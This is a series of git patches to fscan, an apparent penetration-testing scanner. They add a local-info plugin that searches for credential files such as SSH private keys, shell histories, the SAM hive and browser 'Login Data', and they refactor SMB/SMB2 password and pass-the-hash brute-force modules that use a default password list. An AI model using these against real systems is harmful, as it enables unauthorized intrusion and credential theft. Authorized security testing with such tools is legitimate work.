From 5ad5af884e6cff0725af7ea0231a0cdd04bbc820 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 15:18:18 +0800 Subject: [PATCH 001/188] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0localinfo?= =?UTF-8?q?=E6=A8=A1=E5=9D=97?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/base.go | 1 + Plugins/localinfo.go | 211 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 212 insertions(+) create mode 100644 Plugins/localinfo.go diff --git a/Plugins/base.go b/Plugins/base.go index 36a206c..b33bc8c 100644 --- a/Plugins/base.go +++ b/Plugins/base.go @@ -28,6 +28,7 @@ var PluginList = map[string]interface{}{ "1000003": WebTitle, "1000004": SmbScan2, "1000005": WmiExec, + "1000006": LocalInfoScan, } func ReadBytes(conn net.Conn) (result []byte, err error) { diff --git a/Plugins/localinfo.go b/Plugins/localinfo.go new file mode 100644 index 0000000..c7ede11 --- /dev/null +++ b/Plugins/localinfo.go @@ -0,0 +1,211 @@ +package Plugins + +import ( + "fmt" + "github.com/shadow1ng/fscan/common" + "os" + "path/filepath" + "runtime" + "strings" +) + +var ( + blacklist = []string{ + ".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin", + ".dat", ".manifest", "locale", "winsxs", "windows\\sys", + } + + whitelist = []string{ + "密码", "账号", "账户", "配置", "服务器", + "数据库", "备忘", "常用", "通讯录", + } + + // Linux系统关键配置文件 + linuxSystemPaths = []string{ + // Apache配置 + "/etc/apache/httpd.conf", + "/etc/httpd/conf/httpd.conf", + "/etc/httpd/httpd.conf", + "/usr/local/apache/conf/httpd.conf", + "/home/httpd/conf/httpd.conf", + "/usr/local/apache2/conf/httpd.conf", + "/usr/local/httpd/conf/httpd.conf", + "/etc/apache2/sites-available/000-default.conf", + "/etc/apache2/sites-enabled/*", + "/etc/apache2/sites-available/*", + "/etc/apache2/apache2.conf", + + // Nginx配置 + "/etc/nginx/nginx.conf", + "/etc/nginx/conf.d/nginx.conf", + + // 系统配置文件 + "/etc/hosts.deny", + "/etc/bashrc", + "/etc/issue", + "/etc/issue.net", + "/etc/ssh/ssh_config", + "/etc/termcap", + "/etc/xinetd.d/*", + "/etc/mtab", + "/etc/vsftpd/vsftpd.conf", + "/etc/xinetd.conf", + "/etc/protocols", + "/etc/logrotate.conf", + "/etc/ld.so.conf", + "/etc/resolv.conf", + "/etc/sysconfig/network", + "/etc/sendmail.cf", + "/etc/sendmail.cw", + + // proc信息 + "/proc/mounts", + "/proc/cpuinfo", + "/proc/meminfo", + "/proc/self/environ", + "/proc/1/cmdline", + "/proc/1/mountinfo", + "/proc/1/fd/*", + "/proc/1/exe", + "/proc/config.gz", + + // 用户配置文件 + "/root/.ssh/authorized_keys", + "/root/.ssh/id_rsa", + "/root/.ssh/id_rsa.keystore", + "/root/.ssh/id_rsa.pub", + "/root/.ssh/known_hosts", + "/root/.bash_history", + "/root/.mysql_history", + } + + // Windows系统关键配置文件 + windowsSystemPaths = []string{ + "C:\\boot.ini", + "C:\\windows\\systems32\\inetsrv\\MetaBase.xml", + "C:\\windows\\repair\\sam", + "C:\\windows\\system32\\config\\sam", + } +) + +func LocalInfoScan(info *common.HostInfo) (err error) { + home, err := os.UserHomeDir() + if err != nil { + errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err) + common.LogError(errlog) + return err + } + + // 扫描固定位置 + scanFixedLocations(home) + + // 规则搜索 + searchSensitiveFiles() + + return nil +} + +func scanFixedLocations(home string) { + var paths []string + + switch runtime.GOOS { + case "windows": + // 添加Windows固定路径 + paths = append(paths, windowsSystemPaths...) + paths = append(paths, []string{ + filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"), + filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"), + filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"), + filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"), + }...) + + case "linux": + // 添加Linux固定路径 + paths = append(paths, linuxSystemPaths...) + paths = append(paths, []string{ + filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"), + filepath.Join(home, ".mozilla", "firefox"), + }...) + } + + for _, path := range paths { + // 处理通配符路径 + if strings.Contains(path, "*") { + var _ = strings.ReplaceAll(path, "*", "") + if files, err := filepath.Glob(path); err == nil { + for _, file := range files { + checkAndLogFile(file) + } + } + continue + } + + checkAndLogFile(path) + } +} + +func checkAndLogFile(path string) { + if _, err := os.Stat(path); err == nil { + result := fmt.Sprintf("[+] Found sensitive file: %s", path) + common.LogSuccess(result) + } +} + +func searchSensitiveFiles() { + var searchPaths []string + + switch runtime.GOOS { + case "windows": + // Windows下常见的敏感目录 + home, _ := os.UserHomeDir() + searchPaths = []string{ + "C:\\Users\\Public\\Documents", + "C:\\Users\\Public\\Desktop", + filepath.Join(home, "Desktop"), + filepath.Join(home, "Documents"), + filepath.Join(home, "Downloads"), + "C:\\Program Files", + "C:\\Program Files (x86)", + } + case "linux": + // Linux下常见的敏感目录 + home, _ := os.UserHomeDir() + searchPaths = []string{ + "/home", + "/opt", + "/usr/local", + "/var/www", + "/var/log", + filepath.Join(home, "Desktop"), + filepath.Join(home, "Documents"), + filepath.Join(home, "Downloads"), + } + } + + // 在限定目录下搜索 + for _, searchPath := range searchPaths { + filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error { + if err != nil { + return nil + } + + // 跳过黑名单目录和文件 + for _, black := range blacklist { + if strings.Contains(strings.ToLower(path), black) { + return filepath.SkipDir + } + } + + // 检查白名单关键词 + for _, white := range whitelist { + fileName := strings.ToLower(info.Name()) + if strings.Contains(fileName, white) { + result := fmt.Sprintf("[+] Found potential sensitive file: %s", path) + common.LogSuccess(result) + break + } + } + return nil + }) + } +} From 624ab9bab01f721272a8caa99a56384f9757c125 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 15:18:38 +0800 Subject: [PATCH 002/188] feat: .gitignore --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index 387c605..c466663 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,3 @@ result.txt +main +.idea From 02dfcebcc537573c7eeb2c658fb6f1a3b5f3b1aa Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 15:18:58 +0800 Subject: [PATCH 003/188] =?UTF-8?q?refactor:=20Scanner=20Scan=E5=87=BD?= =?UTF-8?q?=E6=95=B0=E9=87=8D=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/scanner.go | 136 ++++++++++++++++++++++++++++++++------------- 1 file changed, 96 insertions(+), 40 deletions(-) diff --git a/Plugins/scanner.go b/Plugins/scanner.go index 99a11da..50da4a2 100644 --- a/Plugins/scanner.go +++ b/Plugins/scanner.go @@ -11,71 +11,103 @@ import ( ) func Scan(info common.HostInfo) { - fmt.Println("start infoscan") - Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts) - if err != nil { - fmt.Println("len(hosts)==0", err) + fmt.Println("[*] 开始信息扫描...") + + // 本地信息收集模块 + if common.Scantype == "localinfo" { + ch := make(chan struct{}, common.Threads) + wg := sync.WaitGroup{} + AddScan("1000006", info, &ch, &wg) + wg.Wait() + common.LogWG.Wait() + close(common.Results) + fmt.Printf("[✓] 扫描完成 %v/%v\n", common.End, common.Num) return } + + // 解析目标主机IP + Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts) + if err != nil { + fmt.Printf("[!] 解析主机错误: %v\n", err) + return + } + + // 初始化配置 lib.Inithttp() - var ch = make(chan struct{}, common.Threads) - var wg = sync.WaitGroup{} + ch := make(chan struct{}, common.Threads) + wg := sync.WaitGroup{} web := strconv.Itoa(common.PORTList["web"]) ms17010 := strconv.Itoa(common.PORTList["ms17010"]) + var AlivePorts, severports []string + if len(Hosts) > 0 || len(common.HostPort) > 0 { - if common.NoPing == false && len(Hosts) > 1 || common.Scantype == "icmp" { + // ICMP存活性检测 + if (common.NoPing == false && len(Hosts) > 1) || common.Scantype == "icmp" { Hosts = CheckLive(Hosts, common.Ping) - fmt.Println("[*] Icmp alive hosts len is:", len(Hosts)) - } - if common.Scantype == "icmp" { - common.LogWG.Wait() - return - } - var AlivePorts []string - if common.Scantype == "webonly" || common.Scantype == "webpoc" { - AlivePorts = NoPortScan(Hosts, common.Ports) - } else if common.Scantype == "hostname" { - common.Ports = "139" - AlivePorts = NoPortScan(Hosts, common.Ports) - } else if len(Hosts) > 0 { - AlivePorts = PortScan(Hosts, common.Ports, common.Timeout) - fmt.Println("[*] alive ports len is:", len(AlivePorts)) - if common.Scantype == "portscan" { + fmt.Printf("[+] ICMP存活主机数量: %d\n", len(Hosts)) + if common.Scantype == "icmp" { common.LogWG.Wait() return } } + + // 端口扫描策略 + switch common.Scantype { + case "webonly", "webpoc": + AlivePorts = NoPortScan(Hosts, common.Ports) + case "hostname": + common.Ports = "139" + AlivePorts = NoPortScan(Hosts, common.Ports) + default: + if len(Hosts) > 0 { + AlivePorts = PortScan(Hosts, common.Ports, common.Timeout) + fmt.Printf("[+] 存活端口数量: %d\n", len(AlivePorts)) + if common.Scantype == "portscan" { + common.LogWG.Wait() + return + } + } + } + + // 处理自定义端口 if len(common.HostPort) > 0 { AlivePorts = append(AlivePorts, common.HostPort...) AlivePorts = common.RemoveDuplicate(AlivePorts) common.HostPort = nil - fmt.Println("[*] AlivePorts len is:", len(AlivePorts)) + fmt.Printf("[+] 总计存活端口: %d\n", len(AlivePorts)) } - var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...} + + // 构建服务端口列表 for _, port := range common.PORTList { severports = append(severports, strconv.Itoa(port)) } - fmt.Println("start vulscan") + + // 开始漏洞扫描 + fmt.Println("[*] 开始漏洞扫描...") for _, targetIP := range AlivePorts { - info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1] + hostParts := strings.Split(targetIP, ":") + if len(hostParts) != 2 { + fmt.Printf("[!] 无效的目标地址格式: %s\n", targetIP) + continue + } + info.Host, info.Ports = hostParts[0], hostParts[1] + if common.Scantype == "all" || common.Scantype == "main" { switch { case info.Ports == "135": - AddScan(info.Ports, info, &ch, &wg) //findnet + AddScan(info.Ports, info, &ch, &wg) if common.IsWmi { - AddScan("1000005", info, &ch, &wg) //wmiexec + AddScan("1000005", info, &ch, &wg) } case info.Ports == "445": - AddScan(ms17010, info, &ch, &wg) //ms17010 - //AddScan(info.Ports, info, ch, &wg) //smb - //AddScan("1000002", info, ch, &wg) //smbghost + AddScan(ms17010, info, &ch, &wg) case info.Ports == "9000": - AddScan(web, info, &ch, &wg) //http - AddScan(info.Ports, info, &ch, &wg) //fcgiscan + AddScan(web, info, &ch, &wg) + AddScan(info.Ports, info, &ch, &wg) case IsContain(severports, info.Ports): - AddScan(info.Ports, info, &ch, &wg) //plugins scan + AddScan(info.Ports, info, &ch, &wg) default: - AddScan(web, info, &ch, &wg) //webtitle + AddScan(web, info, &ch, &wg) } } else { scantype := strconv.Itoa(common.PORTList[common.Scantype]) @@ -83,45 +115,69 @@ func Scan(info common.HostInfo) { } } } + + // URL扫描 for _, url := range common.Urls { info.Url = url AddScan(web, info, &ch, &wg) } + + // 等待所有任务完成 wg.Wait() common.LogWG.Wait() close(common.Results) - fmt.Printf("已完成 %v/%v\n", common.End, common.Num) + fmt.Printf("[✓] 扫描已完成: %v/%v\n", common.End, common.Num) } +// Mutex用于保护共享资源的并发访问 var Mutex = &sync.Mutex{} +// AddScan 添加扫描任务到并发队列 func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { + // 获取信号量,控制并发数 *ch <- struct{}{} + // 添加等待组计数 wg.Add(1) + + // 启动goroutine执行扫描任务 go func() { + defer func() { + wg.Done() // 完成任务后减少等待组计数 + <-*ch // 释放信号量 + }() + + // 增加总任务数 Mutex.Lock() common.Num += 1 Mutex.Unlock() + + // 执行扫描 ScanFunc(&scantype, &info) + + // 增加已完成任务数 Mutex.Lock() common.End += 1 Mutex.Unlock() - wg.Done() - <-*ch }() } +// ScanFunc 通过反射调用对应的扫描插件 func ScanFunc(name *string, info *common.HostInfo) { + // 异常恢复处理 defer func() { if err := recover(); err != nil { - fmt.Printf("[-] %v:%v scan error: %v\n", info.Host, info.Ports, err) + fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) } }() + + // 通过反射获取插件函数 f := reflect.ValueOf(PluginList[*name]) + // 构造参数并调用插件函数 in := []reflect.Value{reflect.ValueOf(info)} f.Call(in) } +// IsContain 检查切片中是否包含指定元素 func IsContain(items []string, item string) bool { for _, eachItem := range items { if eachItem == item { From 77d59c1e6bd23112881a227b901b30ebc362efd8 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 15:19:27 +0800 Subject: [PATCH 004/188] =?UTF-8?q?refactor:=20ScanType=E9=83=A8=E5=88=86?= =?UTF-8?q?=E9=87=8D=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- common/Parse.go | 51 ++++++++++++++++----------------------- common/config.go | 62 +++++++++++++++++++++++++++++------------------- 2 files changed, 57 insertions(+), 56 deletions(-) diff --git a/common/Parse.go b/common/Parse.go index 115edda..e264869 100644 --- a/common/Parse.go +++ b/common/Parse.go @@ -236,53 +236,42 @@ func ParseInput(Info *HostInfo) { } func ParseScantype(Info *HostInfo) { - _, ok := PORTList[Scantype] - if !ok { + if _, validType := PORTList[Scantype]; !validType { showmode() + return } + if Scantype != "all" && Ports == DefaultPorts+","+Webport { switch Scantype { - case "wmiexec": - Ports = "135" - case "wmiinfo": - Ports = "135" - case "smbinfo": - Ports = "445" case "hostname": Ports = "135,137,139,445" - case "smb2": - Ports = "445" - case "web": + case "web", "webonly", "webpoc": Ports = Webport - case "webonly": - Ports = Webport - case "ms17010": - Ports = "445" - case "cve20200796": - Ports = "445" case "portscan": Ports = DefaultPorts + "," + Webport case "main": Ports = DefaultPorts default: - port, _ := PORTList[Scantype] - Ports = strconv.Itoa(port) + if port := PORTList[Scantype]; port > 0 { + Ports = strconv.Itoa(port) + } } - fmt.Println("-m ", Scantype, " start scan the port:", Ports) + + fmt.Printf("[*] Scan type: %s, target ports: %s\n", Scantype, Ports) } } -func CheckErr(text string, err error, flag bool) { - if err != nil { - fmt.Println("Parse", text, "error: ", err.Error()) - if flag { - if err != ParseIPErr { - fmt.Println(ParseIPErr) - } - os.Exit(0) - } - } -} +//func CheckErr(text string, err error, flag bool) { +// if err != nil { +// fmt.Println("Parse", text, "error: ", err.Error()) +// if flag { +// if err != ParseIPErr { +// fmt.Println(ParseIPErr) +// } +// os.Exit(0) +// } +// } +//} func showmode() { fmt.Println("The specified scan type does not exist") diff --git a/common/config.go b/common/config.go index e487c96..8b67a19 100644 --- a/common/config.go +++ b/common/config.go @@ -15,32 +15,44 @@ var Userdict = map[string][]string{ var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} var PORTList = map[string]int{ - "ftp": 21, - "ssh": 22, - "findnet": 135, - "netbios": 139, - "smb": 445, - "mssql": 1433, - "oracle": 1521, - "mysql": 3306, - "rdp": 3389, - "psql": 5432, - "redis": 6379, - "fcgi": 9000, - "mem": 11211, - "mgo": 27017, - "ms17010": 1000001, - "cve20200796": 1000002, - "web": 1000003, - "webonly": 1000003, - "webpoc": 1000003, - "smb2": 1000004, - "wmiexec": 1000005, - "all": 0, - "portscan": 0, - "icmp": 0, - "main": 0, + // 常规服务端口 + "ftp": 21, + "ssh": 22, + "findnet": 135, + "netbios": 139, + "smb": 445, + "mssql": 1433, + "oracle": 1521, + "mysql": 3306, + "rdp": 3389, + "psql": 5432, + "redis": 6379, + "fcgi": 9000, + "mem": 11211, + "mgo": 27017, + + // 特定端口的扫描类型 + "wmiexec": 135, + "wmiinfo": 135, + "smbinfo": 445, + "smb2": 445, + "ms17010": 445, + "cve20200796": 445, + + // Web相关 + "web": 0, // 使用Webport + "webonly": 0, // 使用Webport + "webpoc": 0, // 使用Webport + + // 特殊扫描类型 + "hostname": 0, // 使用135,137,139,445 + "all": 0, // 全部扫描 + "portscan": 0, // 使用DefaultPorts + Webport + "icmp": 0, // ICMP检测 + "main": 0, // 使用DefaultPorts + "localinfo": 0, // 本地信息收集 } + var PortGroup = map[string]string{ "ftp": "21", "ssh": "22", From 42908d331983875417dcda9978e8a1412aba5860 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 15:19:41 +0800 Subject: [PATCH 005/188] =?UTF-8?q?refactor:=20SMB=E6=A8=A1=E5=9D=97?= =?UTF-8?q?=E9=87=8D=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/smb.go | 59 +++++++++++++++++++++++++++++++++++++------------- 1 file changed, 44 insertions(+), 15 deletions(-) diff --git a/Plugins/smb.go b/Plugins/smb.go index 36d6f0e..14dcc60 100644 --- a/Plugins/smb.go +++ b/Plugins/smb.go @@ -9,33 +9,52 @@ import ( "time" ) +// SmbScan 执行SMB服务的认证扫描 func SmbScan(info *common.HostInfo) (tmperr error) { + // 如果未启用暴力破解则直接返回 if common.IsBrute { return nil } - starttime := time.Now().Unix() + + startTime := time.Now().Unix() + + // 遍历用户名和密码字典进行认证尝试 for _, user := range common.Userdict["smb"] { for _, pass := range common.Passwords { + // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) - flag, err := doWithTimeOut(info, user, pass) - if flag == true && err == nil { + + // 执行带超时的认证 + success, err := doWithTimeOut(info, user, pass) + + if success && err == nil { + // 认证成功,记录结果 var result string if common.Domain != "" { - result = fmt.Sprintf("[+] SMB %v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass) + result = fmt.Sprintf("[✓] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v", + info.Host, info.Ports, common.Domain, user, pass) } else { - result = fmt.Sprintf("[+] SMB %v:%v:%v %v", info.Host, info.Ports, user, pass) + result = fmt.Sprintf("[✓] SMB认证成功 %v:%v User:%v Pass:%v", + info.Host, info.Ports, user, pass) } common.LogSuccess(result) return err } else { - errlog := fmt.Sprintf("[-] smb %v:%v %v %v %v", info.Host, 445, user, pass, err) - errlog = strings.Replace(errlog, "\n", "", -1) - common.LogError(errlog) + // 认证失败,记录错误 + errorMsg := fmt.Sprintf("[x] SMB认证失败 %v:%v User:%v Pass:%v Err:%v", + info.Host, info.Ports, user, pass, + strings.ReplaceAll(err.Error(), "\n", "")) + common.LogError(errorMsg) tmperr = err + + // 检查是否需要中断扫描 if common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { + + // 检查是否超时 + timeoutLimit := int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout + if time.Now().Unix()-startTime > timeoutLimit { return err } } @@ -44,38 +63,48 @@ func SmbScan(info *common.HostInfo) (tmperr error) { return tmperr } +// SmblConn 尝试建立SMB连接并进行认证 func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { flag = false - Host, Username, Password := info.Host, user, pass + + // 配置SMB连接选项 options := smb.Options{ - Host: Host, + Host: info.Host, Port: 445, - User: Username, - Password: Password, + User: user, + Password: pass, Domain: common.Domain, Workstation: "", } + // 尝试建立SMB会话 session, err := smb.NewSession(options, false) if err == nil { - session.Close() + defer session.Close() if session.IsAuthenticated { flag = true } } + + // 发送完成信号 signal <- struct{}{} return flag, err } +// doWithTimeOut 执行带超时的SMB连接认证 func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) { signal := make(chan struct{}) + + // 在goroutine中执行SMB连接 go func() { flag, err = SmblConn(info, user, pass, signal) }() + + // 等待连接结果或超时 select { case <-signal: return flag, err case <-time.After(time.Duration(common.Timeout) * time.Second): - return false, errors.New("time out") + return false, errors.New("[!] SMB连接超时") } } From e15f8e8cc08441608f8683c8b8f8949dcc87688a Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 15:19:47 +0800 Subject: [PATCH 006/188] =?UTF-8?q?refactor:=20SMB2=E6=A8=A1=E5=9D=97?= =?UTF-8?q?=E9=87=8D=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/smb2.go | 328 ++++++++++++++++++++++++------------------------ 1 file changed, 166 insertions(+), 162 deletions(-) diff --git a/Plugins/smb2.go b/Plugins/smb2.go index 57c52ff..ae2c2e8 100644 --- a/Plugins/smb2.go +++ b/Plugins/smb2.go @@ -11,208 +11,212 @@ import ( "github.com/hirochachacha/go-smb2" ) +// SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式 func SmbScan2(info *common.HostInfo) (tmperr error) { + // 如果未启用暴力破解则直接返回 if common.IsBrute { return nil } + hasprint := false - starttime := time.Now().Unix() + startTime := time.Now().Unix() + + // 使用哈希认证模式 if len(common.HashBytes) > 0 { - for _, user := range common.Userdict["smb"] { - for _, hash := range common.HashBytes { - pass := "" - flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint) - if flag2 { - hasprint = true - } - if flag == true { - var result string - if common.Domain != "" { - result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) - } else { - result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user) - } - if len(hash) > 0 { - result += "hash: " + common.Hash - } else { - result += pass - } - common.LogSuccess(result) - return err - } else { - var errlog string - if len(common.Hash) > 0 { - errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err) - } else { - errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err) - } - errlog = strings.Replace(errlog, "\n", " ", -1) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.HashBytes)) * common.Timeout) { - return err - } - } - if len(common.Hash) > 0 { - break - } - } - } - } else { - for _, user := range common.Userdict["smb"] { - for _, pass := range common.Passwords { - pass = strings.Replace(pass, "{user}", user, -1) - hash := []byte{} - flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint) - if flag2 { - hasprint = true - } - if flag == true { - var result string - if common.Domain != "" { - result = fmt.Sprintf("[+] SMB2 %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) - } else { - result = fmt.Sprintf("[+] SMB2 %v:%v:%v ", info.Host, info.Ports, user) - } - if len(hash) > 0 { - result += "hash: " + common.Hash - } else { - result += pass - } - common.LogSuccess(result) - return err - } else { - var errlog string - if len(common.Hash) > 0 { - errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err) - } else { - errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err) - } - errlog = strings.Replace(errlog, "\n", " ", -1) - common.LogError(errlog) - tmperr = err - if common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { - return err - } - } - if len(common.Hash) > 0 { - break - } - } - } + return smbHashScan(info, hasprint, startTime) } - return tmperr + // 使用密码认证模式 + return smbPasswordScan(info, hasprint, startTime) } +// smbHashScan 使用哈希进行认证扫描 +func smbHashScan(info *common.HostInfo, hasprint bool, startTime int64) error { + for _, user := range common.Userdict["smb"] { + for _, hash := range common.HashBytes { + success, err, printed := Smb2Con(info, user, "", hash, hasprint) + if printed { + hasprint = true + } + + if success { + logSuccessfulAuth(info, user, "", hash) + return err + } + + logFailedAuth(info, user, "", hash, err) + + if shouldStopScan(err, startTime, len(common.Userdict["smb"])*len(common.HashBytes)) { + return err + } + + if len(common.Hash) > 0 { + break + } + } + } + return nil +} + +// smbPasswordScan 使用密码进行认证扫描 +func smbPasswordScan(info *common.HostInfo, hasprint bool, startTime int64) error { + for _, user := range common.Userdict["smb"] { + for _, pass := range common.Passwords { + pass = strings.ReplaceAll(pass, "{user}", user) + success, err, printed := Smb2Con(info, user, pass, []byte{}, hasprint) + if printed { + hasprint = true + } + + if success { + logSuccessfulAuth(info, user, pass, []byte{}) + return err + } + + logFailedAuth(info, user, pass, []byte{}, err) + + if shouldStopScan(err, startTime, len(common.Userdict["smb"])*len(common.Passwords)) { + return err + } + + if len(common.Hash) > 0 { + break + } + } + } + return nil +} + +// logSuccessfulAuth 记录成功的认证 +func logSuccessfulAuth(info *common.HostInfo, user, pass string, hash []byte) { + var result string + if common.Domain != "" { + result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ", + info.Host, info.Ports, common.Domain, user) + } else { + result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v User:%v ", + info.Host, info.Ports, user) + } + + if len(hash) > 0 { + result += fmt.Sprintf("Hash:%v", common.Hash) + } else { + result += fmt.Sprintf("Pass:%v", pass) + } + common.LogSuccess(result) +} + +// logFailedAuth 记录失败的认证 +func logFailedAuth(info *common.HostInfo, user, pass string, hash []byte, err error) { + var errlog string + if len(hash) > 0 { + errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v", + info.Host, info.Ports, user, common.Hash, err) + } else { + errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v", + info.Host, info.Ports, user, pass, err) + } + errlog = strings.ReplaceAll(errlog, "\n", " ") + common.LogError(errlog) +} + +// shouldStopScan 检查是否应该停止扫描 +func shouldStopScan(err error, startTime int64, totalAttempts int) bool { + if common.CheckErrs(err) { + return true + } + + if time.Now().Unix()-startTime > (int64(totalAttempts) * common.Timeout) { + return true + } + + return false +} + +// Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限 func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { - conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second) + // 建立TCP连接 + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host), + time.Duration(common.Timeout)*time.Second) if err != nil { - return + return false, fmt.Errorf("连接失败: %v", err), false } defer conn.Close() + + // 配置NTLM认证 initiator := smb2.NTLMInitiator{ User: user, Domain: common.Domain, } + + // 设置认证方式(哈希或密码) if len(hash) > 0 { initiator.Hash = hash } else { initiator.Password = pass } + + // 创建SMB2会话 d := &smb2.Dialer{ Initiator: &initiator, } + session, err := d.Dial(conn) + if err != nil { + return false, fmt.Errorf("SMB2会话建立失败: %v", err), false + } + defer session.Logoff() - s, err := d.Dial(conn) + // 获取共享列表 + shares, err := session.ListSharenames() if err != nil { - return - } - defer s.Logoff() - names, err := s.ListSharenames() - if err != nil { - return + return false, fmt.Errorf("获取共享列表失败: %v", err), false } + + // 打印共享信息(如果未打印过) if !hasprint { - var result string - if common.Domain != "" { - result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) - } else { - result = fmt.Sprintf("[*] SMB2-shares %v:%v:%v ", info.Host, info.Ports, user) - } - if len(hash) > 0 { - result += "hash: " + common.Hash - } else { - result += pass - } - result = fmt.Sprintf("%v shares: %v", result, names) - common.LogSuccess(result) + logShareInfo(info, user, pass, hash, shares) flag2 = true } - fs, err := s.Mount("C$") + + // 尝试访问C$共享以验证管理员权限 + fs, err := session.Mount("C$") if err != nil { - return + return false, fmt.Errorf("挂载C$失败: %v", err), flag2 } defer fs.Umount() + + // 尝试读取系统文件以验证权限 path := `Windows\win.ini` f, err := fs.OpenFile(path, os.O_RDONLY, 0666) if err != nil { - return + return false, fmt.Errorf("访问系统文件失败: %v", err), flag2 } defer f.Close() - flag = true - return - //bs, err := ioutil.ReadAll(f) - //if err != nil { - // return - //} - //fmt.Println(string(bs)) - //return + return true, nil, flag2 } -//if info.Path == ""{ -//} -//path = info.Path -//f, err := fs.OpenFile(path, os.O_RDONLY, 0666) -//if err != nil { -// return -//} -//flag = true -//_, err = f.Seek(0, io.SeekStart) -//if err != nil { -// return -//} -//bs, err := ioutil.ReadAll(f) -//if err != nil { -// return -//} -//fmt.Println(string(bs)) -//return -//f, err := fs.Create(`Users\Public\Videos\hello.txt`) -//if err != nil { -// return -//} -//flag = true -// -//_, err = f.Write([]byte("Hello world!")) -//if err != nil { -// return -//} -// 